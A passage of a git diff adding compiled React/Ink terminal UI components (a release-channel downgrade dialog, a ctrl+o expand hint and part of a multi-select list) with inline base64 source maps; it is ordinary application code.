0VBQUEsT0FLaUNiLEdBQUMsQ0FBQWMsc0JBQXVCO0FBQUE7QUFMekQsU0FBQTFHLE9BQUEyRyxHQUFBO0VBQUEsT0FJa0NmLEdBQUMsQ0FBQWdCLHVCQUF3QjtBQUFBO0FBSjNELFNBQUE5RyxNQUFBOEYsQ0FBQTtFQUFBLE9BRzhCQSxDQUFDLENBQUFpQixtQkFBb0I7QUFBQSIsImlnbm9yZUxpc3QiOltdfQ==
\ No newline at end of file
diff --git a/cc-haha/src/components/ChannelDowngradeDialog.tsx b/cc-haha/src/components/ChannelDowngradeDialog.tsx
new file mode 100644
index 0000000..4fd7349
--- /dev/null
+++ b/cc-haha/src/components/ChannelDowngradeDialog.tsx
@@ -0,0 +1,102 @@
+import { c as _c } from "react/compiler-runtime";
+import React from 'react';
+import { Text } from '../ink.js';
+import { Select } from './CustomSelect/index.js';
+import { Dialog } from './design-system/Dialog.js';
+export type ChannelDowngradeChoice = 'downgrade' | 'stay' | 'cancel';
+type Props = {
+  currentVersion: string;
+  onChoice: (choice: ChannelDowngradeChoice) => void;
+};
+
+/**
+ * Dialog shown when switching from latest to stable channel.
+ * Allows user to choose whether to downgrade or stay on current version.
+ */
+export function ChannelDowngradeDialog(t0) {
+  const $ = _c(17);
+  const {
+    currentVersion,
+    onChoice
+  } = t0;
+  let t1;
+  if ($[0] !== onChoice) {
+    t1 = function handleSelect(value) {
+      onChoice(value);
+    };
+    $[0] = onChoice;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const handleSelect = t1;
+  let t2;
+  if ($[2] !== onChoice) {
+    t2 = function handleCancel() {
+      onChoice("cancel");
+    };
+    $[2] = onChoice;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  const handleCancel = t2;
+  let t3;
+  if ($[4] !== currentVersion) {
+    t3 = <Text>The stable channel may have an older version than what you're currently running ({currentVersion}).</Text>;
+    $[4] = currentVersion;
+    $[5] = t3;
+  } else {
+    t3 = $[5];
+  }
+  let t4;
+  if ($[6] === Symbol.for("react.memo_cache_sentinel")) {
+    t4 = <Text dimColor={true}>How would you like to handle this?</Text>;
+    $[6] = t4;
+  } else {
+    t4 = $[6];
+  }
+  let t5;
+  if ($[7] === Symbol.for("react.memo_cache_sentinel")) {
+    t5 = {
+      label: "Allow possible downgrade to stable version",
+      value: "downgrade" as ChannelDowngradeChoice
+    };
+    $[7] = t5;
+  } else {
+    t5 = $[7];
+  }
+  const t6 = `Stay on current version (${currentVersion}) until stable catches up`;
+  let t7;
+  if ($[8] !== t6) {
+    t7 = [t5, {
+      label: t6,
+      value: "stay" as ChannelDowngradeChoice
+    }];
+    $[8] = t6;
+    $[9] = t7;
+  } else {
+    t7 = $[9];
+  }
+  let t8;
+  if ($[10] !== handleSelect || $[11] !== t7) {
+    t8 = <Select options={t7} onChange={handleSelect} />;
+    $[10] = handleSelect;
+    $[11] = t7;
+    $[12] = t8;
+  } else {
+    t8 = $[12];
+  }
+  let t9;
+  if ($[13] !== handleCancel || $[14] !== t3 || $[15] !== t8) {
+    t9 = <Dialog title="Switch to Stable Channel" onCancel={handleCancel} color="permission" hideBorder={true} hideInputGuide={true}>{t3}{t4}{t8}</Dialog>;
+    $[13] = handleCancel;
+    $[14] = t3;
+    $[15] = t8;
+    $[16] = t9;
+  } else {
+    t9 = $[16];
+  }
+  return t9;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIlRleHQiLCJTZWxlY3QiLCJEaWFsb2ciLCJDaGFubmVsRG93bmdyYWRlQ2hvaWNlIiwiUHJvcHMiLCJjdXJyZW50VmVyc2lvbiIsIm9uQ2hvaWNlIiwiY2hvaWNlIiwiQ2hhbm5lbERvd25ncmFkZURpYWxvZyIsInQwIiwiJCIsIl9jIiwidDEiLCJoYW5kbGVTZWxlY3QiLCJ2YWx1ZSIsInQyIiwiaGFuZGxlQ2FuY2VsIiwidDMiLCJ0NCIsIlN5bWJvbCIsImZvciIsInQ1IiwibGFiZWwiLCJ0NiIsInQ3IiwidDgiLCJ0OSJdLCJzb3VyY2VzIjpbIkNoYW5uZWxEb3duZ3JhZGVEaWFsb2cudHN4Il0sInNvdXJjZXNDb250ZW50IjpbImltcG9ydCBSZWFjdCBmcm9tICdyZWFjdCdcbmltcG9ydCB7IFRleHQgfSBmcm9tICcuLi9pbmsuanMnXG5pbXBvcnQgeyBTZWxlY3QgfSBmcm9tICcuL0N1c3RvbVNlbGVjdC9pbmRleC5qcydcbmltcG9ydCB7IERpYWxvZyB9IGZyb20gJy4vZGVzaWduLXN5c3RlbS9EaWFsb2cuanMnXG5cbmV4cG9ydCB0eXBlIENoYW5uZWxEb3duZ3JhZGVDaG9pY2UgPSAnZG93bmdyYWRlJyB8ICdzdGF5JyB8ICdjYW5jZWwnXG5cbnR5cGUgUHJvcHMgPSB7XG4gIGN1cnJlbnRWZXJzaW9uOiBzdHJpbmdcbiAgb25DaG9pY2U6IChjaG9pY2U6IENoYW5uZWxEb3duZ3JhZGVDaG9pY2UpID0+IHZvaWRcbn1cblxuLyoqXG4gKiBEaWFsb2cgc2hvd24gd2hlbiBzd2l0Y2hpbmcgZnJvbSBsYXRlc3QgdG8gc3RhYmxlIGNoYW5uZWwuXG4gKiBBbGxvd3MgdXNlciB0byBjaG9vc2Ugd2hldGhlciB0byBkb3duZ3JhZGUgb3Igc3RheSBvbiBjdXJyZW50IHZlcnNpb24uXG4gKi9cbmV4cG9ydCBmdW5jdGlvbiBDaGFubmVsRG93bmdyYWRlRGlhbG9nKHtcbiAgY3VycmVudFZlcnNpb24sXG4gIG9uQ2hvaWNlLFxufTogUHJvcHMpOiBSZWFjdC5SZWFjdE5vZGUge1xuICBmdW5jdGlvbiBoYW5kbGVTZWxlY3QodmFsdWU6IENoYW5uZWxEb3duZ3JhZGVDaG9pY2UpOiB2b2lkIHtcbiAgICBvbkNob2ljZSh2YWx1ZSlcbiAgfVxuXG4gIGZ1bmN0aW9uIGhhbmRsZUNhbmNlbCgpOiB2b2lkIHtcbiAgICBvbkNob2ljZSgnY2FuY2VsJylcbiAgfVxuXG4gIHJldHVybiAoXG4gICAgPERpYWxvZ1xuICAgICAgdGl0bGU9XCJTd2l0Y2ggdG8gU3RhYmxlIENoYW5uZWxcIlxuICAgICAgb25DYW5jZWw9e2hhbmRsZUNhbmNlbH1cbiAgICAgIGNvbG9yPVwicGVybWlzc2lvblwiXG4gICAgICBoaWRlQm9yZGVyXG4gICAgICBoaWRlSW5wdXRHdWlkZVxuICAgID5cbiAgICAgIDxUZXh0PlxuICAgICAgICBUaGUgc3RhYmxlIGNoYW5uZWwgbWF5IGhhdmUgYW4gb2xkZXIgdmVyc2lvbiB0aGFuIHdoYXQgeW91JmFwb3M7cmVcbiAgICAgICAgY3VycmVudGx5IHJ1bm5pbmcgKHtjdXJyZW50VmVyc2lvbn0pLlxuICAgICAgPC9UZXh0PlxuICAgICAgPFRleHQgZGltQ29sb3I+SG93IHdvdWxkIHlvdSBsaWtlIHRvIGhhbmRsZSB0aGlzPzwvVGV4dD5cbiAgICAgIDxTZWxlY3RcbiAgICAgICAgb3B0aW9ucz17W1xuICAgICAgICAgIHtcbiAgICAgICAgICAgIGxhYmVsOiAnQWxsb3cgcG9zc2libGUgZG93bmdyYWRlIHRvIHN0YWJsZSB2ZXJzaW9uJyxcbiAgICAgICAgICAgIHZhbHVlOiAnZG93bmdyYWRlJyBhcyBDaGFubmVsRG93bmdyYWRlQ2hvaWNlLFxuICAgICAgICAgIH0sXG4gICAgICAgICAge1xuICAgICAgICAgICAgbGFiZWw6IGBTdGF5IG9uIGN1cnJlbnQgdmVyc2lvbiAoJHtjdXJyZW50VmVyc2lvbn0pIHVudGlsIHN0YWJsZSBjYXRjaGVzIHVwYCxcbiAgICAgICAgICAgIHZhbHVlOiAnc3RheScgYXMgQ2hhbm5lbERvd25ncmFkZUNob2ljZSxcbiAgICAgICAgICB9LFxuICAgICAgICBdfVxuICAgICAgICBvbkNoYW5nZT17aGFuZGxlU2VsZWN0fVxuICAgICAgLz5cbiAgICA8L0RpYWxvZz5cbiAgKVxufVxuIl0sIm1hcHBpbmdzIjoiO0FBQUEsT0FBT0EsS0FBSyxNQUFNLE9BQU87QUFDekIsU0FBU0MsSUFBSSxRQUFRLFdBQVc7QUFDaEMsU0FBU0MsTUFBTSxRQUFRLHlCQUF5QjtBQUNoRCxTQUFTQyxNQUFNLFFBQVEsMkJBQTJCO0FBRWxELE9BQU8sS0FBS0Msc0JBQXNCLEdBQUcsV0FBVyxHQUFHLE1BQU0sR0FBRyxRQUFRO0FBRXBFLEtBQUtDLEtBQUssR0FBRztFQUNYQyxjQUFjLEVBQUUsTUFBTTtFQUN0QkMsUUFBUSxFQUFFLENBQUNDLE1BQU0sRUFBRUosc0JBQXNCLEVBQUUsR0FBRyxJQUFJO0FBQ3BELENBQUM7O0FBRUQ7QUFDQTtBQUNBO0FBQ0E7QUFDQSxPQUFPLFNBQUFLLHVCQUFBQyxFQUFBO0VBQUEsTUFBQUMsQ0FBQSxHQUFBQyxFQUFBO0VBQWdDO0lBQUFOLGNBQUE7SUFBQUM7RUFBQSxJQUFBRyxFQUcvQjtFQUFBLElBQUFHLEVBQUE7RUFBQSxJQUFBRixDQUFBLFFBQUFKLFFBQUE7SUFDTk0sRUFBQSxZQUFBQyxhQUFBQyxLQUFBO01BQ0VSLFFBQVEsQ0FBQ1EsS0FBSyxDQUFDO0lBQUEsQ0FDaEI7SUFBQUosQ0FBQSxNQUFBSixRQUFBO0lBQUFJLENBQUEsTUFBQUUsRUFBQTtFQUFBO0lBQUFBLEVBQUEsR0FBQUYsQ0FBQTtFQUFBO0VBRkQsTUFBQUcsWUFBQSxHQUFBRCxFQUVDO0VBQUEsSUFBQUcsRUFBQTtFQUFBLElBQUFMLENBQUEsUUFBQUosUUFBQTtJQUVEUyxFQUFBLFlBQUFDLGFBQUE7TUFDRVYsUUFBUSxDQUFDLFFBQVEsQ0FBQztJQUFBLENBQ25CO0lBQUFJLENBQUEsTUFBQUosUUFBQTtJQUFBSSxDQUFBLE1BQUFLLEVBQUE7RUFBQTtJQUFBQSxFQUFBLEdBQUFMLENBQUE7RUFBQTtFQUZELE1BQUFNLFlBQUEsR0FBQUQsRUFFQztFQUFBLElBQUFFLEVBQUE7RUFBQSxJQUFBUCxDQUFBLFFBQUFMLGNBQUE7SUFVR1ksRUFBQSxJQUFDLElBQUksQ0FBQyxpRkFFZ0JaLGVBQWEsQ0FBRSxFQUNyQyxFQUhDLElBQUksQ0FHRTtJQUFBSyxDQUFBLE1BQUFMLGNBQUE7SUFBQUssQ0FBQSxNQUFBTyxFQUFBO0VBQUE7SUFBQUEsRUFBQSxHQUFBUCxDQUFBO0VBQUE7RUFBQSxJQUFBUSxFQUFBO0VBQUEsSUFBQVIsQ0FBQSxRQUFBUyxNQUFBLENBQUFDLEdBQUE7SUFDUEYsRUFBQSxJQUFDLElBQUksQ0FBQyxRQUFRLENBQVIsS0FBTyxDQUFDLENBQUMsa0NBQWtDLEVBQWhELElBQUksQ0FBbUQ7SUFBQVIsQ0FBQSxNQUFBUSxFQUFBO0VBQUE7SUFBQUEsRUFBQSxHQUFBUixDQUFBO0VBQUE7RUFBQSxJQUFBVyxFQUFBO0VBQUEsSUFBQVgsQ0FBQSxRQUFBUyxNQUFBLENBQUFDLEdBQUE7SUFHcERDLEVBQUE7TUFBQUMsS0FBQSxFQUNTLDRDQUE0QztNQUFBUixLQUFBLEVBQzVDLFdBQVcsSUFBSVg7SUFDeEIsQ0FBQztJQUFBTyxDQUFBLE1BQUFXLEVBQUE7RUFBQTtJQUFBQSxFQUFBLEdBQUFYLENBQUE7RUFBQTtFQUVRLE1BQUFhLEVBQUEsK0JBQTRCbEIsY0FBYywyQkFBMkI7RUFBQSxJQUFBbUIsRUFBQTtFQUFBLElBQUFkLENBQUEsUUFBQWEsRUFBQTtJQU52RUMsRUFBQSxJQUNQSCxFQUdDLEVBQ0Q7TUFBQUMsS0FBQSxFQUNTQyxFQUFxRTtNQUFBVCxLQUFBLEVBQ3JFLE1BQU0sSUFBSVg7SUFDbkIsQ0FBQyxDQUNGO0lBQUFPLENBQUEsTUFBQWEsRUFBQTtJQUFBYixDQUFBLE1BQUFjLEVBQUE7RUFBQTtJQUFBQSxFQUFBLEdBQUFkLENBQUE7RUFBQTtFQUFBLElBQUFlLEVBQUE7RUFBQSxJQUFBZixDQUFBLFNBQUFHLFlBQUEsSUFBQUgsQ0FBQSxTQUFBYyxFQUFBO0lBVkhDLEVBQUEsSUFBQyxNQUFNLENBQ0ksT0FTUixDQVRRLENBQUFELEVBU1QsQ0FBQyxDQUNTWCxRQUFZLENBQVpBLGFBQVcsQ0FBQyxHQUN0QjtJQUFBSCxDQUFBLE9BQUFHLFlBQUE7SUFBQUgsQ0FBQSxPQUFBYyxFQUFBO0lBQUFkLENBQUEsT0FBQWUsRUFBQTtFQUFBO0lBQUFBLEVBQUEsR0FBQWYsQ0FBQTtFQUFBO0VBQUEsSUFBQWdCLEVBQUE7RUFBQSxJQUFBaEIsQ0FBQSxTQUFBTSxZQUFBLElBQUFOLENBQUEsU0FBQU8sRUFBQSxJQUFBUCxDQUFBLFNBQUFlLEVBQUE7SUF4QkpDLEVBQUEsSUFBQyxNQUFNLENBQ0MsS0FBMEIsQ0FBMUIsMEJBQTBCLENBQ3RCVixRQUFZLENBQVpBLGFBQVcsQ0FBQyxDQUNoQixLQUFZLENBQVosWUFBWSxDQUNsQixVQUFVLENBQVYsS0FBUyxDQUFDLENBQ1YsY0FBYyxDQUFkLEtBQWEsQ0FBQyxDQUVkLENBQUFDLEVBR00sQ0FDTixDQUFBQyxFQUF1RCxDQUN2RCxDQUFBTyxFQVlDLENBQ0gsRUF6QkMsTUFBTSxDQXlCRTtJQUFBZixDQUFBLE9BQUFNLFlBQUE7SUFBQU4sQ0FBQSxPQUFBTyxFQUFBO0lBQUFQLENBQUEsT0FBQWUsRUFBQTtJQUFBZixDQUFBLE9BQUFnQixFQUFBO0VBQUE7SUFBQUEsRUFBQSxHQUFBaEIsQ0FBQTtFQUFBO0VBQUEsT0F6QlRnQixFQXlCUztBQUFBIiwiaWdub3JlTGlzdCI6W119
\ No newline at end of file
diff --git a/cc-haha/src/components/CtrlOToExpand.tsx b/cc-haha/src/components/CtrlOToExpand.tsx
new file mode 100644
index 0000000..3fe799b
--- /dev/null
+++ b/cc-haha/src/components/CtrlOToExpand.tsx
@@ -0,0 +1,51 @@
+import { c as _c } from "react/compiler-runtime";
+import chalk from 'chalk';
+import React, { useContext } from 'react';
+import { Text } from '../ink.js';
+import { getShortcutDisplay } from '../keybindings/shortcutFormat.js';
+import { useShortcutDisplay } from '../keybindings/useShortcutDisplay.js';
+import { KeyboardShortcutHint } from './design-system/KeyboardShortcutHint.js';
+import { InVirtualListContext } from './messageActions.js';
+
+// Context to track if we're inside a sub agent
+// Similar to MessageResponseContext, this helps us avoid showing
+// too many "(ctrl+o to expand)" hints in sub agent output
+const SubAgentContext = React.createContext(false);
+export function SubAgentProvider(t0) {
+  const $ = _c(2);
+  const {
+    children
+  } = t0;
+  let t1;
+  if ($[0] !== children) {
+    t1 = <SubAgentContext.Provider value={true}>{children}</SubAgentContext.Provider>;
+    $[0] = children;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return t1;
+}
+export function CtrlOToExpand() {
+  const $ = _c(2);
+  const isInSubAgent = useContext(SubAgentContext);
+  const inVirtualList = useContext(InVirtualListContext);
+  const expandShortcut = useShortcutDisplay("app:toggleTranscript", "Global", "ctrl+o");
+  if (isInSubAgent || inVirtualList) {
+    return null;
+  }
+  let t0;
+  if ($[0] !== expandShortcut) {
+    t0 = <Text dimColor={true}><KeyboardShortcutHint shortcut={expandShortcut} action="expand" parens={true} /></Text>;
+    $[0] = expandShortcut;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  return t0;
+}
+export function ctrlOToExpand(): string {
+  const shortcut = getShortcutDisplay('app:toggleTranscript', 'Global', 'ctrl+o');
+  return chalk.dim(`(${shortcut} to expand)`);
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJjaGFsayIsIlJlYWN0IiwidXNlQ29udGV4dCIsIlRleHQiLCJnZXRTaG9ydGN1dERpc3BsYXkiLCJ1c2VTaG9ydGN1dERpc3BsYXkiLCJLZXlib2FyZFNob3J0Y3V0SGludCIsIkluVmlydHVhbExpc3RDb250ZXh0IiwiU3ViQWdlbnRDb250ZXh0IiwiY3JlYXRlQ29udGV4dCIsIlN1YkFnZW50UHJvdmlkZXIiLCJ0MCIsIiQiLCJfYyIsImNoaWxkcmVuIiwidDEiLCJDdHJsT1RvRXhwYW5kIiwiaXNJblN1YkFnZW50IiwiaW5WaXJ0dWFsTGlzdCIsImV4cGFuZFNob3J0Y3V0IiwiY3RybE9Ub0V4cGFuZCIsInNob3J0Y3V0IiwiZGltIl0sInNvdXJjZXMiOlsiQ3RybE9Ub0V4cGFuZC50c3giXSwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0IGNoYWxrIGZyb20gJ2NoYWxrJ1xuaW1wb3J0IFJlYWN0LCB7IHVzZUNvbnRleHQgfSBmcm9tICdyZWFjdCdcbmltcG9ydCB7IFRleHQgfSBmcm9tICcuLi9pbmsuanMnXG5pbXBvcnQgeyBnZXRTaG9ydGN1dERpc3BsYXkgfSBmcm9tICcuLi9rZXliaW5kaW5ncy9zaG9ydGN1dEZvcm1hdC5qcydcbmltcG9ydCB7IHVzZVNob3J0Y3V0RGlzcGxheSB9IGZyb20gJy4uL2tleWJpbmRpbmdzL3VzZVNob3J0Y3V0RGlzcGxheS5qcydcbmltcG9ydCB7IEtleWJvYXJkU2hvcnRjdXRIaW50IH0gZnJvbSAnLi9kZXNpZ24tc3lzdGVtL0tleWJvYXJkU2hvcnRjdXRIaW50LmpzJ1xuaW1wb3J0IHsgSW5WaXJ0dWFsTGlzdENvbnRleHQgfSBmcm9tICcuL21lc3NhZ2VBY3Rpb25zLmpzJ1xuXG4vLyBDb250ZXh0IHRvIHRyYWNrIGlmIHdlJ3JlIGluc2lkZSBhIHN1YiBhZ2VudFxuLy8gU2ltaWxhciB0byBNZXNzYWdlUmVzcG9uc2VDb250ZXh0LCB0aGlzIGhlbHBzIHVzIGF2b2lkIHNob3dpbmdcbi8vIHRvbyBtYW55IFwiKGN0cmwrbyB0byBleHBhbmQpXCIgaGludHMgaW4gc3ViIGFnZW50IG91dHB1dFxuY29uc3QgU3ViQWdlbnRDb250ZXh0ID0gUmVhY3QuY3JlYXRlQ29udGV4dChmYWxzZSlcblxuZXhwb3J0IGZ1bmN0aW9uIFN1YkFnZW50UHJvdmlkZXIoe1xuICBjaGlsZHJlbixcbn06IHtcbiAgY2hpbGRyZW46IFJlYWN0LlJlYWN0Tm9kZVxufSk6IFJlYWN0LlJlYWN0Tm9kZSB7XG4gIHJldHVybiAoXG4gICAgPFN1YkFnZW50Q29udGV4dC5Qcm92aWRlciB2YWx1ZT17dHJ1ZX0+e2NoaWxkcmVufTwvU3ViQWdlbnRDb250ZXh0LlByb3ZpZGVyPlxuICApXG59XG5cbmV4cG9ydCBmdW5jdGlvbiBDdHJsT1RvRXhwYW5kKCk6IFJlYWN0LlJlYWN0Tm9kZSB7XG4gIGNvbnN0IGlzSW5TdWJBZ2VudCA9IHVzZUNvbnRleHQoU3ViQWdlbnRDb250ZXh0KVxuICBjb25zdCBpblZpcnR1YWxMaXN0ID0gdXNlQ29udGV4dChJblZpcnR1YWxMaXN0Q29udGV4dClcbiAgY29uc3QgZXhwYW5kU2hvcnRjdXQgPSB1c2VTaG9ydGN1dERpc3BsYXkoXG4gICAgJ2FwcDp0b2dnbGVUcmFuc2NyaXB0JyxcbiAgICAnR2xvYmFsJyxcbiAgICAnY3RybCtvJyxcbiAgKVxuICBpZiAoaXNJblN1YkFnZW50IHx8IGluVmlydHVhbExpc3QpIHtcbiAgICByZXR1cm4gbnVsbFxuICB9XG4gIHJldHVybiAoXG4gICAgPFRleHQgZGltQ29sb3I+XG4gICAgICA8S2V5Ym9hcmRTaG9ydGN1dEhpbnQgc2hvcnRjdXQ9e2V4cGFuZFNob3J0Y3V0fSBhY3Rpb249XCJleHBhbmRcIiBwYXJlbnMgLz5cbiAgICA8L1RleHQ+XG4gIClcbn1cblxuZXhwb3J0IGZ1bmN0aW9uIGN0cmxPVG9FeHBhbmQoKTogc3RyaW5nIHtcbiAgY29uc3Qgc2hvcnRjdXQgPSBnZXRTaG9ydGN1dERpc3BsYXkoXG4gICAgJ2FwcDp0b2dnbGVUcmFuc2NyaXB0JyxcbiAgICAnR2xvYmFsJyxcbiAgICAnY3RybCtvJyxcbiAgKVxuICByZXR1cm4gY2hhbGsuZGltKGAoJHtzaG9ydGN1dH0gdG8gZXhwYW5kKWApXG59XG4iXSwibWFwcGluZ3MiOiI7QUFBQSxPQUFPQSxLQUFLLE1BQU0sT0FBTztBQUN6QixPQUFPQyxLQUFLLElBQUlDLFVBQVUsUUFBUSxPQUFPO0FBQ3pDLFNBQVNDLElBQUksUUFBUSxXQUFXO0FBQ2hDLFNBQVNDLGtCQUFrQixRQUFRLGtDQUFrQztBQUNyRSxTQUFTQyxrQkFBa0IsUUFBUSxzQ0FBc0M7QUFDekUsU0FBU0Msb0JBQW9CLFFBQVEseUNBQXlDO0FBQzlFLFNBQVNDLG9CQUFvQixRQUFRLHFCQUFxQjs7QUFFMUQ7QUFDQTtBQUNBO0FBQ0EsTUFBTUMsZUFBZSxHQUFHUCxLQUFLLENBQUNRLGFBQWEsQ0FBQyxLQUFLLENBQUM7QUFFbEQsT0FBTyxTQUFBQyxpQkFBQUMsRUFBQTtFQUFBLE1BQUFDLENBQUEsR0FBQUMsRUFBQTtFQUEwQjtJQUFBQztFQUFBLElBQUFILEVBSWhDO0VBQUEsSUFBQUksRUFBQTtFQUFBLElBQUFILENBQUEsUUFBQUUsUUFBQTtJQUVHQyxFQUFBLDZCQUFpQyxLQUFJLENBQUosS0FBRyxDQUFDLENBQUdELFNBQU8sQ0FBRSwyQkFBMkI7SUFBQUYsQ0FBQSxNQUFBRSxRQUFBO0lBQUFGLENBQUEsTUFBQUcsRUFBQTtFQUFBO0lBQUFBLEVBQUEsR0FBQUgsQ0FBQTtFQUFBO0VBQUEsT0FBNUVHLEVBQTRFO0FBQUE7QUFJaEYsT0FBTyxTQUFBQyxjQUFBO0VBQUEsTUFBQUosQ0FBQSxHQUFBQyxFQUFBO0VBQ0wsTUFBQUksWUFBQSxHQUFxQmYsVUFBVSxDQUFDTSxlQUFlLENBQUM7RUFDaEQsTUFBQVUsYUFBQSxHQUFzQmhCLFVBQVUsQ0FBQ0ssb0JBQW9CLENBQUM7RUFDdEQsTUFBQVksY0FBQSxHQUF1QmQsa0JBQWtCLENBQ3ZDLHNCQUFzQixFQUN0QixRQUFRLEVBQ1IsUUFDRixDQUFDO0VBQ0QsSUFBSVksWUFBNkIsSUFBN0JDLGFBQTZCO0lBQUEsT0FDeEIsSUFBSTtFQUFBO0VBQ1osSUFBQVAsRUFBQTtFQUFBLElBQUFDLENBQUEsUUFBQU8sY0FBQTtJQUVDUixFQUFBLElBQUMsSUFBSSxDQUFDLFFBQVEsQ0FBUixLQUFPLENBQUMsQ0FDWixDQUFDLG9CQUFvQixDQUFXUSxRQUFjLENBQWRBLGVBQWEsQ0FBQyxDQUFTLE1BQVEsQ0FBUixRQUFRLENBQUMsTUFBTSxDQUFOLEtBQUssQ0FBQyxHQUN4RSxFQUZDLElBQUksQ0FFRTtJQUFBUCxDQUFBLE1BQUFPLGNBQUE7SUFBQVAsQ0FBQSxNQUFBRCxFQUFBO0VBQUE7SUFBQUEsRUFBQSxHQUFBQyxDQUFBO0VBQUE7RUFBQSxPQUZQRCxFQUVPO0FBQUE7QUFJWCxPQUFPLFNBQVNTLGFBQWFBLENBQUEsQ0FBRSxFQUFFLE1BQU0sQ0FBQztFQUN0QyxNQUFNQyxRQUFRLEdBQUdqQixrQkFBa0IsQ0FDakMsc0JBQXNCLEVBQ3RCLFFBQVEsRUFDUixRQUNGLENBQUM7RUFDRCxPQUFPSixLQUFLLENBQUNzQixHQUFHLENBQUMsSUFBSUQsUUFBUSxhQUFhLENBQUM7QUFDN0MiLCJpZ25vcmVMaXN0IjpbXX0=
\ No newline at end of file
diff --git a/cc-haha/src/components/CustomSelect/SelectMulti.tsx b/cc-haha/src/components/CustomSelect/SelectMulti.tsx
new file mode 100644
index 0000000..e757ec3
--- /dev/null
+++ b/cc-haha/src/components/CustomSelect/SelectMulti.tsx
@@ -0,0 +1,213 @@
+import { c as _c } from "react/compiler-runtime";
+import figures from 'figures';
+import React from 'react';
+import { Box, Text } from '../../ink.js';
+import type { PastedContent } from '../../utils/config.js';
+import type { ImageDimensions } from '../../utils/imageResizer.js';
+import type { OptionWithDescription } from './select.js';
+import { SelectInputOption } from './select-input-option.js';
+import { SelectOption } from './select-option.js';
+import { useMultiSelectState } from './use-multi-select-state.js';
+export type SelectMultiProps<T> = {
+  readonly isDisabled?: boolean;
+  readonly visibleOptionCount?: number;
+  readonly options: OptionWithDescription<T>[];
+  readonly defaultValue?: T[];
+  readonly onCancel: () => void;
+  readonly onChange?: (values: T[]) => void;
+  readonly onFocus?: (value: T) => void;
+  readonly focusValue?: T;
+  /**
+   * Text for the submit button. When provided, a submit button is shown and
+   * Enter toggles selection (submit only fires when the button is focused).
+   * When omitted, Enter submits directly and Space toggles selection.
+   */
+  readonly submitButtonText?: string;
+  /**
+   * Callback when user submits. Receives the currently selected values.
+   */
+  readonly onSubmit?: (values: T[]) => void;
+  /**
+   * When true, hides the numeric indexes next to each option.
+   */
+  readonly hideIndexes?: boolean;
+  /**
+   * Callback when user presses down from the last item (submit button).
+   * If provided, navigation will not wrap to the first item.
+   */
+  readonly onDownFromLastItem?: () => void;
+  /**
+   * Callback when user presses up from the first item.
+   * If provided, navigation will not wrap to the last item.
+   */
+  readonly onUpFromFirstItem?: () => void;
+  /**
+   * Focus the last option initially instead of the first.
+   */
+  readonly initialFocusLast?: boolean;
+  /**
+   * Callback to open external editor for editing input option values.
+   * When provided, ctrl+g will trigger this callback in input options
+   * with the current value and a setter function to update the internal state.
+   */
+  readonly onOpenEditor?: (currentValue: string, setValue: (value: string) => void) => void;
+  readonly onImagePaste?: (base64Image: string, mediaType?: string, filename?: string, dimensions?: ImageDimensions, sourcePath?: string) => void;
+  readonly pastedContents?: Record<number, PastedContent>;
+  readonly onRemoveImage?: (id: number) => void;
+};
+export function SelectMulti(t0) {
+  const $ = _c(44);
+  const {
+    isDisabled: t1,
+    visibleOptionCount: t2,
+    options,
+    defaultValue: t3,
+    onCancel,
+    onChange,
+    onFocus,
+    focusValue,
+    submitButtonText,
+    onSubmit,
+    onDownFromLastItem,
+    onUpFromFirstItem,
+    initialFocusLast,
+    onOpenEditor,
+    hideIndexes: t4,
+    onImagePaste,
+    pastedContents,
+    onRemoveImage
+  } = t0;
+  const isDisabled = t1 === undefined ? false : t1;
+  const visibleOptionCount = t2 === undefined ? 5 : t2;
+  let t5;
+  if ($[0] !== t3) {
+    t5 = t3 === undefined ? [] : t3;
+    $[0] = t3;
+    $[1] = t5;
+  } else {
+    t5 = $[1];
+  }
+  const defaultValue = t5;
+  const hideIndexes = t4 === undefined ? false : t4;
+  let t6;
+  if ($[2] !== defaultValue || $[3] !== focusValue || $[4] !== hideIndexes || $[5] !== initialFocusLast || $[6] !== isDisabled || $[7] !== onCancel || $[8] !== onChange || $[9] !== onDownFromLastItem || $[10] !== onFocus || $[11] !== onSubmit || $[12] !== onUpFromFirstItem || $[13] !== options || $[14] !== submitButtonText || $[15] !== visibleOptionCount) {
+    t6 = {
+      isDisabled,
+      visibleOptionCount,
+      options,
+      defaultValue,
+      onChange,
+      onCancel,
+      onFocus,
+      focusValue,
+      submitButtonText,
+      onSubmit,
+      onDownFromLastItem,
+      onUpFromFirstItem,
+      initialFocusLast,
+      hideIndexes
+    };
+    $[2] = defaultValue;
+    $[3] = focusValue;
+    $[4] = hideIndexes;
+    $[5] = initialFocusLast;
+    $[6] = isDisabled;
+    $[7] = onCancel;
+    $[8] = onChange;
+    $[9] = onDownFromLastItem;
+    $[10] = onFocus;
+    $[11] = onSubmit;
+    $[12] = onUpFromFirstItem;
+    $[13] = options;
+    $[14] = submitButtonText;
+    $[15] = visibleOptionCount;
+    $[16] = t6;
+  } else {
+    t6 = $[16];
+  }
+  const state = useMultiSelectState(t6);
+  let T0;
+  let T1;
+  let t7;
+  let t8;
+  let t9;
+  if ($[17] !== hideIndexes || $[18] !== isDisabled || $[19] !== onCancel || $[20] !== onImagePaste || $[21] !== onOpenEditor || $[22] !== onRemoveImage || $[23] !== options.length || $[24] !== pastedContents || $[25] !== state) {
+    const maxIndexWidth = options.length.toString().length;
+    T1 = Box;
+    t9 = "column";
+    T0 = Box;
+    t7 = "column";
+    t8 = state.visibleOptions.map((option, index) => {
+      const isOptionFocused = !isDisabled && state.focusedValue === option.value && !state.isSubmitFocused;
+      const isSelected = state.selectedValues.includes(option.value);
+      const isFirstVisibleOption = option.index === state.visibleFromIndex;
+      const isLastVisibleOption = option.index === state.visibleToIndex - 1;
+      const areMoreOptionsBelow = state.visibleToIndex < options.length;
+      const areMoreOptionsAbove = state.visibleFromIndex > 0;
+      const i = state.visibleFromIndex + index + 1;
+      if (option.type === "input") {
+        const inputValue = state.inputValues.get(option.value) || "";
